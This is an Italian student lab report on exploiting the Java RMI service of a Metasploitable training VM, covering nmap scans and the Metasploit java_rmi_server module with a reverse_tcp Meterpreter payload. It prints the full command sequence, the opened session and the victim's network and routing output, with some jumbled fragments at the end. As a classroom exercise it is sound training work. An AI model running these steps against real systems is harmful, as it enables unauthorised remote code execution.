

# PROGETTO S7/L5

**Traccia:** La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

**I requisiti dell'esercizio sono:**

**-Scansione della macchina con nmap per evidenziare la vulnerabilità.-Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:**

- 1) configurazione di rete ;**
- 2) informazioni sulla tabella di routing della macchina vittima.**

Per prima cosa ho effettuato una scansione con nMap da Kali Linux per visualizzare le porte, il loro stato ed i servizi in esecuzione su ognuna di esse. Ho scelto un approccio più invasivo, quindi utilizzando il comando **nmap -sT 192.168.1.149**

```
(enrico@kali)-[~]
$ nmap -sT 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.1.149
Host is up (0.0011s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up)
```

Come si vede, questo comando restituisce lo stato delle porte ed i servizi associati ad ognuna di esse. Per lo scopo del progetto, mi interessava la porta **1099** sulla quale è attivo il servizio **Java\_rmi** (Java Remote Method Invocation). Questo servizio permette a più programmi Java di richiamare funzioni e metodi sulla stessa rete anche se si tratta di macchine differenti. In sostanza, facilita la comunicazione tra diversi programmi Java all'interno di una rete. Per questo si tratta di un servizio che è particolarmente vulnerabile ad attacchi **MITM** (Man In The Middle), ovvero attacchi in cui il criminale informatico si interpone nella comunicazione tra due macchine per intercettare, corrompere e reinviare i dati con un eventuale codice malevolo inserito all'interno.

Ho scelto poi di effettuare anche una seconda scansione, stavolta meno invasiva (nel caso in cui ci venisse chiesto un tale approccio perchè la rete è debole e rischia di andare in down con una scansione più violenta), concentrandomi solo ed esclusivamente sulla porta che era di mio interesse, la 1099. Per questo scopo ho utilizzato il comando **nMap -sS**

**192.168.1.149 -p 1099**

N.B. (192.168.1.149 è l'indirizzo IP della macchina target, ovvero Metasploitable).


```
(enrico@kali)-[~]  
$ sudo nmap -sS 192.168.1.149 -p 1099  
[sudo] password for enrico:  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 12:22 CET  
Nmap scan report for 192.168.1.149  
Host is up (0.00033s latency).  
  
PORT      STATE SERVICE  
1099/tcp  open  rmiregistry  
MAC Address: 08:00:27:11:39:B5 (Oracle VirtualBox virtual NIC)
```

Questa scansione non completa, a differenza della prima, la **Three Way Handshake** ma si ferma all' **ACK, SYN ACK** provocando meno rumore sulla rete, e restituisce per come ho impostato il comando solo lo stato della porta **1099** relativa al servizio Java\_rmi che ho visto anche dalla scansione precedente.

Per completare il tutto ho eseguito una terza scansione con nMap, **nmap -sV 192.168.1.149** per essere sicuro che il servizio sulla porta 1099 fosse effettivamente **java\_rmi**. La differenza di questa scansione, rispetto alle altre due effettuate prima, è che con -sV otteniamo anche le versioni dei servizi in uso sulle porte.

```
(enrico@kali)-[~]
$ nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-10 13:54 CET
Stats: 0:00:25 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.45% done; ETC: 13:55 (0:00:01 remaining)
Nmap scan report for 192.168.1.149
Host is up (0.0017s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp   open  java-rmi     GNU Classpath grmiregistry
1524/tcp   filtered ingreslock
2049/tcp   open  nfs          2-4 (RPC #100003)
2121/tcp   open  ftp          ProFTPD 1.3.1
3306/tcp   open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp   open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp   open  vnc          VNC (protocol 3.3)
6000/tcp   open  X11          (access denied)
6667/tcp   open  irc          UnrealIRCd
8009/tcp   open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp   open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OS: Linux 3.2
Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 66.39 seconds
```

```
(enrico@kali)~]$ msfconsole
```



```

      =[ metasploit v6.3.27-dev
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post
+ -- --=[ 1385 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/
```

causare comportamenti non previsti nello stesso.

```
msf6 > search java_rmi
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Con il comando **search** ho visualizzato gli exploit ed i moduli ausiliari disponibili per il servizio che volevo exploitare (java\_rmi, come visto dalla scansione nmap)

Per lo scopo del progetto ho scelto l' exploit n. 1, che dalla descrizione era il più adatto al completamento dell' esercizio perchè andava ad eseguire il codice.



```
msf6 > use 1
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

```
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/">https://docs.metasploit.com/docs/using-metasploit/</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an interface on the local host.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```
Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.1.54	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
Exploit target:
```

Id	Name
0	Generic (Java Payload)

```
View the full module info with the info, or info -d command.
```

Con il comando **use 1** (si può utilizzare anche il comando **use** seguito dal nome specifico dell' exploit), ho selezionato quell' exploit. Non avendo selezionato nessun **payload** (il payload è il “carico” dell' exploit, ovvero la parte di codice che effettivamente esegue un' azione sul sistema dopo che l' exploit ha sfruttato la vulnerabilità), mi è stato caricato automaticamente il payload **java/meterpreter/reverse\_tcp**, che apre una shell Meterpreter **reverse tcp**, ovvero in cui la connessione avviene **DAL** sistema target **AL** sistema attaccante: questo per evitare che dispositivi di sicurezza come i Firewall possano bloccare la connessione. Fatto questo con il comando **show options** visualizzo i requisiti obbligatori da impostare affinché l' exploit vada a buon fine. La slide sopra ci dice che sotto la colonna **Required** troviamo, alla voce yes, tutte le impostazioni che dobbiamo necessariamente settare correttamente se non sono già compilate. In questo caso l' unica che era da compilare era quella dell' **RHOSTS**, ovvero l' indirizzo IP del sistema target che stiamo cercando di attaccare (Metasploitable). Le colonne dove invece troviamo il NO sotto required non sono obbligatorie.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server w
RHOSTS	192.168.1.149	yes	The target host(s), see htt

Per impostare l' IP scriviamo il comando **set RHOSTS 192.168.1.149** e controlliamo sia stato accettato digitando di nuovo il comando **show options**. Come si vede, dove prima la voce **RHOSTS** era vuota, adesso

abbiamo l' indirizzo IP di Metasploitable. Ho quindi completato tutti i settaggi richiesti per questo exploit.



```

msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.54:4444
[*] 192.168.1.149:1099 - Using URL: http://192.168.1.5
[*] 192.168.1.149:1099 - Server started.
[*] 192.168.1.149:1099 - Sending RMI Header ...
[*] 192.168.1.149:1099 - Sending RMI Call ...
[*] 192.168.1.149:1099 - Replied to request for payload
[*] Sending stage (58829 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.54:4444 →
meterpreter > ifconfig

```

Ho avviato l'exploit con il comando **exploit** (si può lanciare anche con il solo comando **run**. Dopo pochi secondi si è avviata la connessione `reverse_tcp` ed aperta la sessione Meterpreter, il che significa che l'exploit contro il servizio `java_rmi` è andato a buon fine e abbiamo ora il controllo del

sistema target. Per essere però totalmente sicuro di questo ho lanciato il comando **ifconfig** per visualizzare le impostazioni di rete del sistema.

```

meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.149
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe1
IPv6 Netmask : ::

```

Come vediamo, l'indirizzo IP riportato è **192.168.1.149**, ovvero quello di Meta: ciò significa definitivamente che siamo dentro alla macchina vittima, e che per ottenere abbiamo sfruttato una vulnerabilità del servizio **java\_rmi**.

```

meterpreter > route

IPv4 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----
  127.0.0.1       255.0.0.0         0.0.0.0
  192.168.1.149   255.255.255.0     0.0.0.0

IPv6 network routes
=====

  Subnet          Netmask          Gateway  Metric  Interface
  -----
  ::1             ::              ::
  fe80::a00:27ff:fe11:39b5  ::              ::

meterpreter > cd
Usage: cd directory

```

torna indietro al computer locale: questo è utile per configurare servizi o connettività senza andare ad influenzare la rete

esterna. La **netmask 255.0.0.0** (che è associata all' indirizzo di loopback) indica invece che gli indirizzi IP che iniziano con **127** sono riservati al loopback.

L' ultimo passaggio del progetto ci chiedeva di

la tabella di routing del sistema vittima. La

visualizziamo con il comando **route**, che ci

restituisce in output il modo in cui i pacchetti

vengono instradati nella rete sia per l' IPv4 che

per l' IPv6.

L' IP **127.0.0.1** è l' indirizzo di **loopback**, ovvero

il traffico che viene inviato a questo indirizzo